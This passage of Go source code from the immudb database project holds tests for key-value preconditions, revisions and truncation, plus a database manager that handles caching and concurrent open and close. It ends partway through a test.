require.EqualValues(t, parallelism, successCount) require.Zero(t, failCount) require.Zero(t, badError) }) t.Run("NotModifiedAfterTX", func(t *testing.T) { tx, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte(`key-ea`), Value: []byte(`base value`), }}}) require.NoError(t, err) failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`key-ea`), Value: []byte(fmt.Sprintf("goroutine: %d", i)), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyNotModifiedAfterTX([]byte(`key-ea`), tx.Id), }, }) return err }) require.EqualValues(t, 1, successCount) require.EqualValues(t, parallelism-1, failCount) require.Zero(t, badError) }) }) t.Run("ExecAll-Ref", func(t *testing.T) { t.Run("MustNotExist", func(t *testing.T) { var wg, wg2 sync.WaitGroup wg.Add(parallelism) wg2.Add(parallelism) failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte(`reference-ea`), ReferencedKey: []byte(`key-ea`), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte(`reference-ea`)), }, }) return err }) require.EqualValues(t, 1, successCount) require.EqualValues(t, parallelism-1, failCount) require.Zero(t, badError) }) t.Run("MustExist", func(t *testing.T) { failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte(`reference-ea`), ReferencedKey: []byte(`key-ea`), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte(`reference-ea`)), }, }) return err }) require.EqualValues(t, parallelism, successCount) require.Zero(t, failCount) require.Zero(t, badError) }) t.Run("NotModifiedAfterTX", func(t *testing.T) { tx, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference-ea`), ReferencedKey: []byte(`key-ea`), }) require.NoError(t, err) failCount, successCount, badError := runInParallel(func(i int) error { _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte(`reference-ea`), ReferencedKey: []byte(`key-ea`), }, }, }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyNotModifiedAfterTX([]byte(`reference-ea`), tx.Id), }, }) return err }) require.EqualValues(t, 1, successCount) require.EqualValues(t, parallelism-1, failCount) require.Zero(t, badError) }) }) } func TestCheckInvalidKeyRequest(t *testing.T) { for _, d := range []struct { req *schema.KeyRequest errTextPart string }{ { nil, "empty request", }, { &schema.KeyRequest{}, "empty key", }, { &schema.KeyRequest{ Key: []byte("test"), AtTx: 1, SinceTx: 2, }, "SinceTx should not be specified when AtTx is used", }, { &schema.KeyRequest{ Key: []byte("test"), AtTx: 1, AtRevision: 2, }, "AtRevision should not be specified when AtTx is used", }, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { err := checkKeyRequest(d.req) require.ErrorIs(t, err, ErrIllegalArguments) require.Contains(t, err.Error(), d.errTextPart) }) } } func TestGetAtRevision(t *testing.T) { db := makeDb(t) const histCount = 10 for i := 0; i < histCount; i++ { _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte(fmt.Sprintf("value%d", i)), }}, }) require.NoError(t, err) } t.Run("get the most recent value if no revision is specified", func(t *testing.T) { k, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), }) require.NoError(t, err) require.Equal(t, []byte("value9"), k.Value) }) t.Run("get correct values for positive revision numbers", func(t *testing.T) { for i := 0; i < histCount; i++ { k, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: int64(i) + 1, }) require.NoError(t, err) require.Equal(t, []byte(fmt.Sprintf("value%d", i)), k.Value) } }) t.Run("get correct error if positive revision number is to high", func(t *testing.T) { _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: 11, }) require.ErrorIs(t, err, ErrInvalidRevision) }) t.Run("get correct error if maximum integer value is used for the revision number", func(t *testing.T) { _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: math.MaxInt64, }) require.ErrorIs(t, err, ErrInvalidRevision) }) t.Run("get correct values for negative revision numbers", func(t *testing.T) { for i := 1; i < histCount; i++ { k, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: -int64(i), }) require.NoError(t, err) require.Equal(t, []byte(fmt.Sprintf("value%d", 9-i)), k.Value) } }) t.Run("get correct error if negative revision number is to low", func(t *testing.T) { _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: -10, }) require.ErrorIs(t, err, ErrInvalidRevision) }) t.Run("get correct error if minimum negative revision number is used", func(t *testing.T) { _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: math.MinInt64, }) require.ErrorIs(t, err, ErrInvalidRevision) }) t.Run("get correct error if non-existing key is specified", func(t *testing.T) { _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("non-existing-key"), AtRevision: 1, }) require.ErrorIs(t, err, store.ErrKeyNotFound) }) t.Run("get correct error if expired entry is fetched through revision", func(t *testing.T) { _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("exp-key"), Value: []byte("expired-value"), Metadata: &schema.KVMetadata{ Expiration: &schema.Expiration{ ExpiresAt: time.Now().Unix() - 1, }, }, }}, }) require.NoError(t, err) _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("exp-key"), Value: []byte("not-expired-value"), }}, }) require.NoError(t, err) entry, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("exp-key"), }) require.NoError(t, err) require.Equal(t, []byte("not-expired-value"), entry.Value) require.EqualValues(t, 2, entry.Revision) _, err = db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("exp-key"), AtRevision: 1, }) require.ErrorIs(t, err, store.ErrExpiredEntry) }) } func TestRevisionGetConsistency(t *testing.T) { db := makeDb(t) var keyTxId uint64 // Repeat the test for different revision numbers for i := 0; i < 10; i++ { keyTx, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte(fmt.Sprintf("value_%d", i)), }}}) require.NoError(t, err) if i == 0 { keyTxId = keyTx.Id } _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference_unbound"), ReferencedKey: []byte("key"), }) require.NoError(t, err) _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference_bound"), ReferencedKey: []byte("key"), AtTx: keyTxId, BoundRef: true, }) require.NoError(t, err) t.Run("get and scan should return consistent revision on direct entries", func(t *testing.T) { entryFromGet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte("key")}) require.NoError(t, err) scanResults, err := db.Scan(context.Background(), &schema.ScanRequest{Prefix: []byte("key")}) require.NoError(t, err) require.Len(t, scanResults.Entries, 1) require.EqualValues(t, i+1, entryFromGet.Revision) require.EqualValues(t, i+1, scanResults.Entries[0].Revision) }) t.Run("get and scan should return consistent revision on unbound references", func(t *testing.T) { entryFromGet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte("reference_unbound")}) require.NoError(t, err) require.Equal(t, []byte(fmt.Sprintf("value_%d", i)), entryFromGet.Value) scanResults, err := db.Scan(context.Background(), &schema.ScanRequest{Prefix: []byte("reference_unbound")}) require.NoError(t, err) require.Len(t, scanResults.Entries, 1) require.Equal(t, []byte(fmt.Sprintf("value_%d", i)), scanResults.Entries[0].Value) require.EqualValues(t, i+1, entryFromGet.Revision) require.EqualValues(t, i+1, scanResults.Entries[0].Revision) require.EqualValues(t, i+1, entryFromGet.ReferencedBy.Revision) require.EqualValues(t, i+1, scanResults.Entries[0].ReferencedBy.Revision) }) t.Run("get and scan should return consistent revision on bound references", func(t *testing.T) { entryFromGet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte("reference_bound")}) require.NoError(t, err) require.Equal(t, []byte("value_0"), entryFromGet.Value) scanResults, err := db.Scan(context.Background(), &schema.ScanRequest{Prefix: []byte("reference_bound")}) require.NoError(t, err) require.Len(t, scanResults.Entries, 1) require.Equal(t, []byte("value_0"), scanResults.Entries[0].Value) require.EqualValues(t, 0, entryFromGet.Revision) require.EqualValues(t, 0, scanResults.Entries[0].Revision) require.EqualValues(t, i+1, entryFromGet.ReferencedBy.Revision) require.EqualValues(t, i+1, scanResults.Entries[0].ReferencedBy.Revision) }) } } /* func TestReference(t *testing.T) { db := makeDb(t) _, err := db.Set(context.Background(), kvs[0]) if err != nil { t.Fatalf("Reference error %s", err) } ref, err := db.Reference(&schema.ReferenceOptions{ Reference: []byte(`tag`), Key: kvs[0].Key, }) require.NoError(t, err) if ref.Index != 1 { t.Fatalf("Reference, expected %v, got %v", 1, ref.Index) } item, err := db.Get(context.Background(), &schema.Key{Key: []byte(`tag`)}) if err != nil { t.Fatalf("Reference Get error %s", err) } if !bytes.Equal(item.Value, kvs[0].Value) { t.Fatalf("Reference, expected %v, got %v", string(item.Value), string(kvs[0].Value)) } item, err = db.GetReference(&schema.Key{Key: []byte(`tag`)}) if err != nil { t.Fatalf("Reference Get error %s", err) } if !bytes.Equal(item.Value, kvs[0].Value) { t.Fatalf("Reference, expected %v, got %v", string(item.Value), string(kvs[0].Value)) } } func TestGetReference(t *testing.T) { db := makeDb(t) _, err := db.Set(context.Background(), kvs[0]) if err != nil { t.Fatalf("Reference error %s", err) } ref, err := db.Reference(&schema.ReferenceOptions{ Reference: []byte(`tag`), Key: kvs[0].Key, }) require.NoError(t, err) if ref.Index != 1 { t.Fatalf("Reference, expected %v, got %v", 1, ref.Index) } item, err := db.GetReference(&schema.Key{Key: []byte(`tag`)}) if err != nil { t.Fatalf("Reference Get error %s", err) } if !bytes.Equal(item.Value, kvs[0].Value) { t.Fatalf("Reference, expected %v, got %v", string(item.Value), string(kvs[0].Value)) } item, err = db.GetReference(&schema.Key{Key: []byte(`tag`)}) if err != nil { t.Fatalf("Reference Get error %s", err) } if !bytes.Equal(item.Value, kvs[0].Value) { t.Fatalf("Reference, expected %v, got %v", string(item.Value), string(kvs[0].Value)) } } func TestZAdd(t *testing.T) { db := makeDb(t) _, _ = db.Set(context.Background(), &schema.KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }) ref, err := db.ZAdd(&schema.ZAddOptions{ Key: []byte(`key`), Score: &schema.Score{Score: float64(1)}, Set: []byte(`mySet`), }) require.NoError(t, err) if ref.Index != 1 { t.Fatalf("Reference, expected %v, got %v", 1, ref.Index) } item, err := db.ZScan(&schema.ZScanOptions{ Set: []byte(`mySet`), Offset: []byte(""), Limit: 3, Reverse: false, }) if err != nil { t.Fatalf("Reference Get error %s", err) } assert.Equal(t, item.Items[0].Item.Value, []byte(`val`)) } */ /* func TestScan(t *testing.T) { db := makeDb(t) _, err := db.Set(context.Background(), kv[0]) if err != nil { t.Fatalf("set error %s", err) } ref, err := db.ZAdd(&schema.ZAddOptions{ Key: kv[0].Key, Score: &schema.Score{Score: float64(3)}, Set: kv[0].Value, }) if err != nil { t.Fatalf("zadd error %s", err) } if ref.Index != 1 { t.Fatalf("Reference, expected %v, got %v", 1, ref.Index) } it, err := db.SafeZAdd(&schema.SafeZAddOptions{ Zopts: &schema.ZAddOptions{ Key: kv[0].Key, Score: &schema.Score{Score: float64(0)}, Set: kv[0].Value, }, RootIndex: &schema.Index{ Index: 0, }, }) if err != nil { t.Fatalf("SafeZAdd error %s", err) } if it.InclusionProof.I != 2 { t.Fatalf("SafeZAdd index, expected %v, got %v", 2, it.InclusionProof.I) } item, err := db.Scan(context.Background(), &schema.ScanOptions{ Offset: nil, Deep: false, Limit: 1, Prefix: kv[0].Key, }) if err != nil { t.Fatalf("ZScanSV Get error %s", err) } if !bytes.Equal(item.Items[0].Value, kv[0].Value) { t.Fatalf("Reference, expected %v, got %v", string(kv[0].Value), string(item.Items[0].Value)) } scanItem, err := db.IScan(&schema.IScanOptions{ PageNumber: 2, PageSize: 1, }) if err != nil { t.Fatalf("IScan Get error %s", err) } // reference contains also the timestamp key, _, _ := store.UnwrapZIndexReference(scanItem.Items[0].Value) if !bytes.Equal(key, kv[0].Key) { t.Fatalf("Reference, expected %v, got %v", string(kv[0].Key), string(scanItem.Items[0].Value)) } } */ /* func TestCount(t *testing.T) { db := makeDb(t) root, err := db.CurrentRoot() require.NoError(t, err) kv := []*schema.SafeSetOptions{ { Kv: &schema.KeyValue{ Key: []byte("Alberto"), Value: []byte("Tomba"), }, RootIndex: &schema.Index{ Index: root.GetIndex(), }, }, { Kv: &schema.KeyValue{ Key: []byte("Jean-Claude"), Value: []byte("Killy"), }, RootIndex: &schema.Index{ Index: root.GetIndex(), }, }, { Kv: &schema.KeyValue{ Key: []byte("Franz"), Value: []byte("Clamer"), }, RootIndex: &schema.Index{ Index: root.GetIndex(), }, }, } for _, val := range kv { _, err := db.SafeSet(val) if err != nil { t.Fatalf("Error Inserting to db %s", err) } } // Count c, err := db.Count(context.Background(), &schema.KeyPrefix{ Prefix: []byte("Franz"), }) if err != nil { t.Fatalf("Error count %s", err) } if c.Count != 1 { t.Fatalf("Error count expected %d got %d", 1, c.Count) } // CountAll // for each key there's an extra entry in the db: // 3 entries (with different keys) + 3 extra = 6 entries in total countAll := db.CountAll().Count if countAll != 6 { t.Fatalf("Error CountAll expected %d got %d", 6, countAll) } } */ /* func TestSafeReference(t *testing.T) { db := makeDb(t) root, err := db.CurrentRoot() require.NoError(t, err) kv := []*schema.SafeSetOptions{ { Kv: &schema.KeyValue{ Key: []byte("Alberto"), Value: []byte("Tomba"), }, RootIndex: &schema.Index{ Index: root.GetIndex(), }, }, } for _, val := range kv { _, err := db.SafeSet(val) if err != nil { t.Fatalf("Error Inserting to db %s", err) } } _, err = db.SafeReference(&schema.SafeReferenceOptions{ Ro: &schema.ReferenceOptions{ Key: []byte("Alberto"), Reference: []byte("Skii"), }, RootIndex: &schema.Index{ Index: root.GetIndex(), }, }) if err != nil { t.Fatalf("SafeReference Error %s", err) } _, err = db.SafeReference(&schema.SafeReferenceOptions{ Ro: &schema.ReferenceOptions{ Key: []byte{}, Reference: []byte{}, }, }) if err == nil { t.Fatalf("SafeReference expected error %s", err) } } func TestDump(t *testing.T) { db := makeDb(t) root, err := db.CurrentRoot() require.NoError(t, err) kvs := []*schema.SafeSetOptions{ { Kv: &schema.KeyValue{ Key: []byte("Alberto"), Value: []byte("Tomba"), }, RootIndex: &schema.Index{ Index: root.GetIndex(), }, }, { Kv: &schema.KeyValue{ Key: []byte("Jean-Claude"), Value: []byte("Killy"), }, RootIndex: &schema.Index{ Index: root.GetIndex(), }, }, { Kv: &schema.KeyValue{ Key: []byte("Franz"), Value: []byte("Clamer"), }, RootIndex: &schema.Index{ Index: root.GetIndex(), }, }, } for _, val := range kvs { _, err := db.SafeSet(val) if err != nil { t.Fatalf("Error Inserting to db %s", err) } } dump := &mockImmuService_DumpServer{} err = db.Dump(&emptypb.Empty{}, dump) require.NoError(t, err) require.Less(t, 0, len(dump.results)) } */ /* type mockImmuService_DumpServer struct { grpc.ServerStream results []*pb.KVList } func (_m *mockImmuService_DumpServer) Send(kvs *pb.KVList) error { _m.results = append(_m.results, kvs) return nil } */ /* func TestDb_SetBatchAtomicOperations(t *testing.T) { db := makeDb(t) aOps := &schema.Ops{ Operations: []*schema.Op{ { Operation: &schema.Op_KVs{ KVs: &schema.KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, }, } _, err := db.ExecAllOps(aOps) require.NoError(t, err) } */ func Test_database_truncate(t *testing.T) { options := DefaultOptions().WithDBRootPath(t.TempDir()) options.storeOpts. WithEmbeddedValues(false). WithPreallocFiles(false). WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)). WithFileSize(8). WithVLogCacheSize(0) db := makeDbWith(t, "db", options) var queryTime time.Time for i := 0; i <= 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) if i == 10 { queryTime = time.Now() } } c := NewVlogTruncator(db, logger.NewMemoryLogger()) hdr, err := c.Plan(context.Background(), queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) err = c.TruncateUptoTx(context.Background(), hdr.Id) require.NoError(t, err) for i := hdr.Id; i <= 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) } } // ensure that the earlier txs are truncated for i := uint64(5); i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.Error(t, err) } } } ================================================ FILE: pkg/database/db_manager.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "fmt" "sync" "sync/atomic" "time" "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" ) type DBManager struct { openDB OpenDBFunc dbCache *cache.Cache logger logger.Logger dbMutex sync.RWMutex databases []*dbInfo dbIndex map[string]int mtx sync.Mutex waitCond *sync.Cond closed bool } type dbInfo struct { mtx sync.Mutex opts *Options state *schema.ImmutableState name string deleted bool closed bool } func (db *dbInfo) cacheInfo(s *schema.ImmutableState, opts *Options) { db.mtx.Lock() defer db.mtx.Unlock() db.state = s db.opts = opts } func (db *dbInfo) getState() *schema.ImmutableState { db.mtx.Lock() defer db.mtx.Unlock() return db.state } func (db *dbInfo) getOptions() *Options { db.mtx.Lock() defer db.mtx.Unlock() return db.opts } func (db *dbInfo) close() error { db.mtx.Lock() defer db.mtx.Unlock() if db.closed { return store.ErrAlreadyClosed } db.closed = true return nil } type dbRef struct { db DB count uint32 } type OpenDBFunc func(name string, opts *Options) (DB, error) func NewDBManager(openFunc OpenDBFunc, maxActiveDatabases int, log logger.Logger) *DBManager { m := &DBManager{ openDB: openFunc, dbIndex: make(map[string]int), databases: make([]*dbInfo, 0), logger: log, } m.dbCache = createCache(m, maxActiveDatabases) m.waitCond = sync.NewCond(&m.mtx) return m } func createCache(m *DBManager, capacity int) *cache.Cache { c, _ := cache.NewCache(capacity) c.SetCanEvict(func(_, value interface{}) bool { ref, _ := value.(*dbRef) return ref != nil && atomic.LoadUint32(&ref.count) == 0 }) c.SetOnEvict(func(idx, value interface{}) { ref, _ := value.(*dbRef) if ref == nil { return } // NOTE: db cannot be nil at this point, // since it can only be evicted after it has been successfully opened. // Moreover, since the reference cannot be altered after it has been set, // there is not need to acquire the database lock. if ref.db == nil { m.logger.Errorf("db not initialised during eviction") return } state, err := ref.db.CurrentState() if err != nil { m.logger.Errorf(`%v: while fetching db %s state`, err, ref.db.GetName()) } opts := ref.db.GetOptions() err = ref.db.Close() if err != nil { m.logger.Errorf(`%v: while closing db "%s"`, err, ref.db.GetName()) } if i, ok := idx.(int); ok && (i >= 0 && i < len(m.databases)) { m.databases[i].cacheInfo(state, opts) } ref.db = nil }) return c } func (m *DBManager) Put(dbName string, opts *Options, closed bool) int { m.dbMutex.Lock() defer m.dbMutex.Unlock() if idx, has := m.dbIndex[dbName]; has { ref := m.databases[idx] ref.deleted = false ref.closed = closed ref.opts = opts return idx } m.dbIndex[dbName] = len(m.databases) info := &dbInfo{ opts: opts, name: dbName, deleted: false, closed: closed, } m.databases = append(m.databases, info) return len(m.databases) - 1 } func (m *DBManager) Get(idx int) (DB, error) { db, exists := m.getDB(idx) if !exists { return nil, ErrDatabaseNotExists } ref, err := m.allocDB(idx, db) if err != nil { return nil, err } defer db.mtx.Unlock() if ref.db == nil { d, err := m.openDB(db.name, db.opts) if err != nil { m.Release(idx) return nil, err } ref.db = d } return ref.db, nil } func (m *DBManager) allocDB(idx int, db *dbInfo) (*dbRef, error) { m.mtx.Lock() defer m.mtx.Unlock() for { db.mtx.Lock() if m.closed || db.closed || db.deleted { db.mtx.Unlock() return nil, store.ErrAlreadyClosed } v, err := m.dbCache.Get(idx) if err == nil { ref := v.(*dbRef) atomic.AddUint32(&ref.count, 1) return ref, nil } ref := &dbRef{count: 1} _, _, err = m.dbCache.Put(idx, ref) if err == nil { return ref, nil } db.mtx.Unlock() m.waitCond.Wait() } } func (m *DBManager) Release(idx int) { v, err := m.dbCache.Get(idx) // NOTE: may occur if the database is closed // before being fully released if err != nil { return } ref, _ := v.(*dbRef) if ref == nil { return } if atomic.AddUint32(&ref.count, ^uint32(0)) == 0 { m.signal() } } func (m *DBManager) signal() { m.mtx.Lock() defer m.mtx.Unlock() m.waitCond.Signal() } func (m *DBManager) Has(name string) bool { m.dbMutex.RLock() defer m.dbMutex.RUnlock() _, has := m.dbIndex[name] return has } func (m *DBManager) HasIndex(idx int) bool { db, exists := m.getDB(idx) if !exists { return false } db.mtx.Lock() defer db.mtx.Unlock() return !db.deleted } func (m *DBManager) GetIndexByName(name string) int { m.dbMutex.RLock() defer m.dbMutex.RUnlock() idx, exists := m.dbIndex[name] if !exists { return -1 } return idx } func (m *DBManager) GetNameByIndex(idx int) string { m.dbMutex.RLock() defer m.dbMutex.RUnlock() if idx < 0 || idx >= len(m.databases) { return "" } return m.databases[idx].name } func (m *DBManager) GetOptionsByIndex(idx int) *Options { dbInfo, has := m.getDB(idx) if !has { return nil } ref, err := m.dbCache.Get(idx) if err == nil { dbInfo.mtx.Lock() defer dbInfo.mtx.Unlock() if dbRef := ref.(*dbRef); dbRef != nil && dbRef.db != nil { return dbInfo.opts } return nil } return dbInfo.getOptions() } func (m *DBManager) GetState(idx int) (*schema.ImmutableState, error) { dbInfo, has := m.getDB(idx) if !has { return nil, ErrDatabaseNotExists } ref, err := m.dbCache.Get(idx) if err == nil { dbInfo.mtx.Lock() defer dbInfo.mtx.Unlock() if dbRef := ref.(*dbRef); dbRef != nil && dbRef.db != nil { return dbRef.db.CurrentState() } // this condition should never happen return nil, fmt.Errorf("unable to get state") } s := dbInfo.getState() if s != nil { return s, nil } db, err := m.Get(idx) if err != nil { return nil, err } defer m.Release(idx) return db.CurrentState() } func (m *DBManager) Delete(name string) error { m.dbMutex.RLock() idx, exists := m.dbIndex[name] if !exists { m.dbMutex.RUnlock() return ErrDatabaseNotExists } db := m.databases[idx] m.dbMutex.RUnlock() db.mtx.Lock() defer db.mtx.Unlock() if !db.closed { return ErrCannotDeleteAnOpenDatabase } db.deleted = true // NOTE: a closed database cannot be present in the cache return nil } func (m *DBManager) Length() int { m.dbMutex.RLock() defer m.dbMutex.RUnlock() return len(m.databases) } func (m *DBManager) IsLoaded(idx int) bool { db, exists := m.getDB(idx) if !exists { return false } db.mtx.Lock() defer db.mtx.Unlock() return !db.closed } func (m *DBManager) Close(idx int) error { db, exists := m.getDB(idx) if !exists { return nil } if err := db.close(); err != nil { return err } defer m.waitCond.Broadcast() v, err := m.dbCache.Pop(idx) if err != nil { return nil } ref, _ := v.(*dbRef) if ref != nil && ref.db != nil { ref.db.Close() ref.db = nil } return nil } func (m *DBManager) IsClosed(idx int) bool { db, exists := m.getDB(idx) if !exists { return true } db.mtx.Lock() defer db.mtx.Unlock() return db.closed } func (m *DBManager) getDB(idx int) (*dbInfo, bool) { m.dbMutex.RLock() defer m.dbMutex.RUnlock() if idx < 0 || idx >= len(m.databases) { return nil, false } return m.databases[idx], true } func (m *DBManager) Resize(n int) { m.dbCache.Resize(n) } func (m *DBManager) CloseAll(ctx context.Context) error { m.mtx.Lock() m.closed = true m.mtx.Unlock() m.waitCond.Broadcast() tryClose := true for tryClose { if err := ctx.Err(); err != nil { return err } busyDBs := 0 m.dbCache.Apply(func(_, value interface{}) error { ref := value.(*dbRef) if atomic.LoadUint32(&ref.count) > 0 { busyDBs++ return nil } ref.db.Close() return nil }) tryClose = busyDBs > 0 time.Sleep(time.Millisecond * 10) } m.dbCache.Resize(0) return nil } func (m *DBManager) IsActive(idx int) bool { _, err := m.dbCache.Get(idx) return err == nil } ================================================ FILE: pkg/database/db_manager_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "fmt" "math/rand" "os" "path/filepath" "sync" "sync/atomic" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) type mockDB struct { DB name string } func (db *mockDB) GetName() string { return db.name } func (db *mockDB) Close() error { return nil } func (db *mockDB) GetOptions() *Options { return &Options{} } func (db *mockDB) CurrentState() (*schema.ImmutableState, error) { return &schema.ImmutableState{}, nil } func openMockDB(name string, opts *Options) (DB, error) { return &mockDB{name: name}, nil } func TestDBManagerConcurrentGet(t *testing.T) { manager := NewDBManager(openMockDB, 5, logger.NewMemoryLogger()) n := 100 for i := 0; i < n; i++ { manager.Put(fmt.Sprintf("db%d", i), DefaultOptions(), false) } var wg sync.WaitGroup wg.Add(n) for idx := 0; idx < n; idx++ { go func(idx int) { defer wg.Done() db, err := manager.Get(idx) require.NoError(t, err) require.NotNil(t, db) defer manager.Release(idx) require.LessOrEqual(t, manager.dbCache.EntriesCount(), 5) sleepTime := time.Duration(10+rand.Intn(41)) * time.Millisecond time.Sleep(sleepTime) }(idx) } wg.Wait() } func TestDBManagerOpen(t *testing.T) { var nCalls uint64 openDB := func(name string, opts *Options) (DB, error) { atomic.AddUint64(&nCalls, 1) return openMockDB(name, opts) } manager := NewDBManager(openDB, 1, logger.NewMemoryLogger()) manager.Put("testdb", DefaultOptions(), false) n := 1000 var wg sync.WaitGroup wg.Add(n) for i := 0; i < n; i++ { go func() { defer wg.Done() _, err := manager.Get(0) require.NoError(t, err) }() } wg.Wait() require.Equal(t, nCalls, uint64(1)) v, err := manager.dbCache.Get(0) require.NoError(t, err) ref, _ := v.(*dbRef) require.NotNil(t, ref) require.NotNil(t, ref.db) require.Equal(t, ref.count, uint32(n)) for i := 0; i < n; i++ { manager.Release(0) } require.Zero(t, ref.count) } func TestDBManagerClose(t *testing.T) { maxActiveDBs := 10 manager := NewDBManager(openMockDB, maxActiveDBs, logger.NewMemoryLogger()) manager.Put("test", DefaultOptions(), false) n := 100 for i := 0; i < n; i++ { _, err := manager.Get(0) require.NoError(t, err) } err := manager.Close(0) require.NoError(t, err) err = manager.Close(0) require.ErrorIs(t, err, store.ErrAlreadyClosed) for i := 0; i < n; i++ { manager.Release(0) } _, err = manager.Get(0) require.ErrorIs(t, err, store.ErrAlreadyClosed) } func TestDBManagerCloseDuringGet(t *testing.T) { maxActiveDBs := 10 manager := NewDBManager(openMockDB, maxActiveDBs, logger.NewMemoryLogger()) for i := 0; i <= maxActiveDBs; i++ { manager.Put(fmt.Sprintf("test%d", i), DefaultOptions(), false) } for i := 0; i < maxActiveDBs; i++ { _, err := manager.Get(i) require.NoError(t, err) } n := 100 var wg sync.WaitGroup wg.Add(n) for i := 0; i < n; i++ { go func() { defer wg.Done() _, err := manager.Get(maxActiveDBs) require.ErrorIs(t, err, store.ErrAlreadyClosed) }() } // wait for all goroutines to attempt Get(maxActiveDBs) time.Sleep(time.Millisecond * 100) err := manager.Close(maxActiveDBs) require.NoError(t, err) wg.Wait() } func TestDBManagerDelete(t *testing.T) { manager := NewDBManager(openMockDB, 1, logger.NewMemoryLogger()) manager.Put("test", DefaultOptions(), false) err := manager.Delete("test") require.ErrorIs(t, err, ErrCannotDeleteAnOpenDatabase) err = manager.Close(0) require.NoError(t, err) err = manager.Delete("test") require.NoError(t, err) } func TestDBManagerCloseAll(t *testing.T) { maxActiveDBs := 10 manager := NewDBManager(openMockDB, maxActiveDBs, logger.NewMemoryLogger()) n := 100 for i := 0; i < n; i++ { manager.Put(fmt.Sprintf("test%d", i), DefaultOptions(), false) } var wg sync.WaitGroup wg.Add(maxActiveDBs) for i := 0; i < maxActiveDBs; i++ { go func(idx int) { defer wg.Done() _, err := manager.Get(idx) require.NoError(t, err) }(i) } wg.Wait() var wg1 sync.WaitGroup wg1.Add(n - maxActiveDBs) for i := maxActiveDBs; i < n; i++ { go func(idx int) { defer wg1.Done() _, err := manager.Get(idx) require.ErrorIs(t, err, store.ErrAlreadyClosed) }(i) } t.Run("close deadline exceeded", func(t *testing.T) { ctx, cancel := context.WithTimeout(context.Background(), time.Second) defer cancel() err := manager.CloseAll(ctx) 